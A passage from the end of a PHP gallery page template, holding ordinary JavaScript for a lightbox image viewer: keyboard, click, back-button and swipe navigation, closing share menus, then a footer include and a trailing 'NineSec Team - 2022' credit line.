        existingMessage.remove();
    }
    
    const messageEl = document.createElement('div');
    messageEl.className = 'copy-message';
    messageEl.textContent = message;
    document.body.appendChild(messageEl);
    
    setTimeout(() => {
        if (messageEl.parentNode) {
            messageEl.parentNode.removeChild(messageEl);
        }
    }, 3000);
}

// Event listeners
document.addEventListener('keydown', function(event) {
    const lightbox = document.getElementById('lightbox');
    if (lightbox && lightbox.style.display === 'block') {
        switch(event.key) {
            case 'ArrowLeft':
                changeSlide(-1);
                break;
            case 'ArrowRight':
                changeSlide(1);
                break;
            case 'Escape':
                closeLightbox();
                break;
        }
    }
});

document.getElementById('lightbox').addEventListener('click', function(event) {
    if (event.target === this) {
        closeLightbox();
    }
});

// Close share options when clicking outside
document.addEventListener('click', function(event) {
    if (!event.target.closest('.share-page-container')) {
        const sharePageOptions = document.getElementById('sharePageOptions');
        if (sharePageOptions) sharePageOptions.classList.remove('show');
    }
    if (!event.target.closest('.lightbox-share')) {
        const shareOptions = document.getElementById('shareOptions');
        if (shareOptions) shareOptions.classList.remove('show');
    }
});

// Handle browser back/forward buttons
window.addEventListener('popstate', function(event) {
    const urlParams = new URLSearchParams(window.location.search);
    const imageId = urlParams.get('image');
    
    if (imageId) {
        // Find and open the requested image
        const index = galleryData.findIndex(item => item.id == imageId);
        if (index !== -1) {
            currentIndex = index;
            updateLightbox();
            const lightbox = document.getElementById('lightbox');
            if (lightbox) {
                lightbox.style.display = 'block';
                document.body.style.overflow = 'hidden';
            }
        }
    } else {
        // Close lightbox if no image parameter
        closeLightbox();
    }
});

// Touch swipe support
let touchStartX = 0;
let touchEndX = 0;

document.addEventListener('touchstart', function(event) {
    touchStartX = event.changedTouches[0].screenX;
});

document.addEventListener('touchend', function(event) {
    touchEndX = event.changedTouches[0].screenX;
    handleSwipe();
});

function handleSwipe() {
    const lightbox = document.getElementById('lightbox');
    if (!lightbox || lightbox.style.display !== 'block') return;
    
    const swipeThreshold = 50;
    
    if (touchEndX < touchStartX - swipeThreshold) {
        changeSlide(1);
    } else if (touchEndX > touchStartX + swipeThreshold) {
        changeSlide(-1);
    }
}
</script>

<?php include 'includes/footer.php'; ?>

NineSec Team - 2022